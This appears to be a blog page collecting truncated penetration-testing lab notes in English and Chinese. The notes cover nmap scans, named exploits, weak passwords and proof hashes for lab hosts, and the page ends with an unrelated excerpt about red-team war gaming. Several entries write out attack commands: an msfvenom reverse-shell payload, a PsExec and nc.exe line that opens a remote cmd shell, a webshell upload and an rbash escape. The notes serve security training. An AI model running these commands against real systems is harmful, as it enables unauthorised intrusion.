Jindom's Blog

# Nmap 7.70 scan initiated Sat May 4 15:26:35 2019 as: nmap -Pn -sCV -p21 -oN nmap/Basic_10.11.1.226.nmap 10.11.1.226 Nmap scan report for 10.11.1.226 Host is up (0.095s latency). PORT STATE SERVICE VERSION 21/tcp open ftp GuildFTPd MAC Address: 00:50:56:89:7D:67 (VMware) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 4 15:26:52 2019 – 1 IP address (1 hos ...

# Nmap 7.70 scan initiated Sun May 5 23:42:47 2019 as: nmap -Pn -T4 –max-retries 1 –max-scan-delay 20 –defeat-rst-ratelimit –open -oN nmap/Quick_10.11.1.229.nmap 10.11.1.229 Warning: 10.11.1.229 giving up on port because retransmission cap hit (1). Nmap scan report for 10.11.1.229 Host is up (0.29s latency). Not shown: 988 filtered ports, 3 closed ports Some closed ports may be reported as filtered due to –defeat-rst-ratelimit PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80 ...

MS17-010

wordpress installed admin:princess Linux Kernel exp https://www.exploit-db.com/exploits/14814

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-05 23:05 CST Warning: 10.11.1.227 giving up on port because retransmission cap hit (1). Nmap scan report for 10.11.1.227 Host is up (0.32s latency). Not shown: 677 closed ports, 312 filtered ports Some closed ports may be reported as filtered due to –defeat-rst-ratelimit PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp op ...

80 443 22 https://10.11.1.237/test.html /cgi-bin/mongo/2.2.3/dbparse.py

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-04 17:32 CST Nmap scan report for 10.11.1.251 Host is up (0.26s latency). Not shown: 998 filtered ports Some closed ports may be reported as filtered due to –defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:50:56:89:34:D1 (VMware) Nmap done: 1 IP address (1 host up) scanned in 19.08 seconds /wp/ wordpress found use wpscan SQL injection found https://cxsecurity.com/issue/WLB-2013020035 ...

Nmap scan report for 10.11.1.252 Host is up (0.13s latency). PORT STATE SERVICE VERSION 8000/tcp open http Apache httpd 2.2.3 ((CentOS)) |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.2.3 (CentOS) | http-title: TimeClock Software :: Dev. Dpt. Thinc.local :: Log In |_Requested resource was login.php 8888/tcp open http-proxy Squid http proxy 3.3.8 |_http-server-header: squid/3.3.8 |_http-title: Endian Firewall - The requested URL could not ...

PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft IIS httpd 5.1 |_http-server-header: Microsoft-IIS/5.1 | vulners: | cpe:/a:microsoft:iis:5.1: | CVE-2008-1446 9.0 https://vulners.com/cve/CVE-2008-1446 |_ CVE-2009-1535 7.6 https://vulners.com/cve/CVE-2009-1535 3389/tcp open tcpwrapped 存在漏洞: FTP未合理设置上传权限,可以上传木马至网页根目录 利用msfvenom生成asp木马文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.80 LPORT=4444 -f asp > ...

存在漏洞:Samba 2.2.x - ‘call_trans2open’ Remote Buffer Overflow exploitDB上有漏洞利用源码,msfconsole里直接有ruby脚本 使用,拿到shell√ proof.txt da690f91f46eb888719fe942efed2993

存在漏洞 : web界面管理员密码与linux账户管理员密码都为弱密码 发现后台管理员面板10.11.1.24/admin 帐号密码为弱密码admin 尝试上传文件,发现有上传文件扩展名限制,不能上传.php文件 尝试上传.PHP文件,成功 用msfvenom编译php shellcode发现问题,尝试第三方webshell 使用b374k webshell  b374k https://github.com/b374k/b374k#b374k-shell-32 编译webshell,上传,得到低权限交互界面 cat /etc/passwd 发现疑似管理员帐号patrick 按照之前获取CMS密码的经验尝试账户名为密码登录 成功登录 shell get √ proof.txt c19cf7756cfef80636d95d9e73ef4a2e

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-15 10:35 CST Nmap scan report for 10.11.1.44 Host is up (0.28s latency). Not shown: 924 closed ports, 74 filtered ports Some closed ports may be reported as filtered due to –defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt MAC Address: 00:50:56:89:74:61 (VMware) Nmap done: 1 IP address (1 host up) scanned in 4.85 seconds   dependency

nmap快速扫描结果并不准确！需要对所有端口进行扫描 发现存在9505端口。 浏览器直接访问，发现存在HFS文件分享系统。 MSF现成利用脚本 windows/http/rejetto_hfs_exec 目标机器打开了防火墙，所以记得把LPORT改成443 可以得到地权限的shell net user 查看一下存在的用户，发现存在alice。 而alice是实验室的地一台机子且已经被我们拿下，已知那台机子alice的密码是aliceishere，可能这台机子上也是这个密码。 我们向目标机器上传PsExec.exe文件和nc.exe    link: PsExec  nc PsExec.exe -accpeteula \\Bethany2 -ua alice -pa aliceishere C:\HFS\nc.exe -vn 10.11.0.94 443 -e cmd.exe shell get √ proof.txt 1f1f1eb58e44d5d24e44070b3b29c0d5

PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 3389/tcp open ms-wbt-server? MS03-026 exploit/windows/dcerpc/ms03_026_dcom

https://forums.offensive-security.com/showthread.php?t=4689

MS17-010 manuel exploit

mail管理系统弱密码 root root 发现ryuu账户有一份邮件包含了ssh登录密码 username: ryuu password: QUHqhUPRKXMo4m7k break rbash：https://www.cnblogs.com/xiaoxiaoleo/p/8450379.html hacker@beta:$ BASH_CMDS[a]=/bin/sh;ahacker@beta:$ export PATH=$PATH:/bin/hacker@beta:~$ export PATH=$PATH:/usr/bin

PORT STATE SERVICE VERSION 3389/tcp open ms-wbt-server Microsoft Terminal Service MAC Address: 00:50:56:89:71:10 (VMware)   dependency

PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 554/tcp open rtsp? 1100/tcp open java-rmi Java RMI Registry | rmi-dumpregistry: | creamtec/ajaxswing/JVMFactory | com.creamtec.ajaxswing.core.JVMFactory_Stub | @10.11.1.73:49157 | extends | java.rmi.server.RemoteStub | extends |_ java.rm ...

Playing the role of an attacker can make your team better at defense. Learn how in our step-by-step guide to war gaming your security infrastructure — from involving the right people to weighing a hypothetical vs. live event.The military does it. The Government Accountability Office does it. So does the National Security Agency. The concept has made its way into the corporate world, too: war-gaming the security infrastructure. Red team-blue team exercises take their name from their military ante ...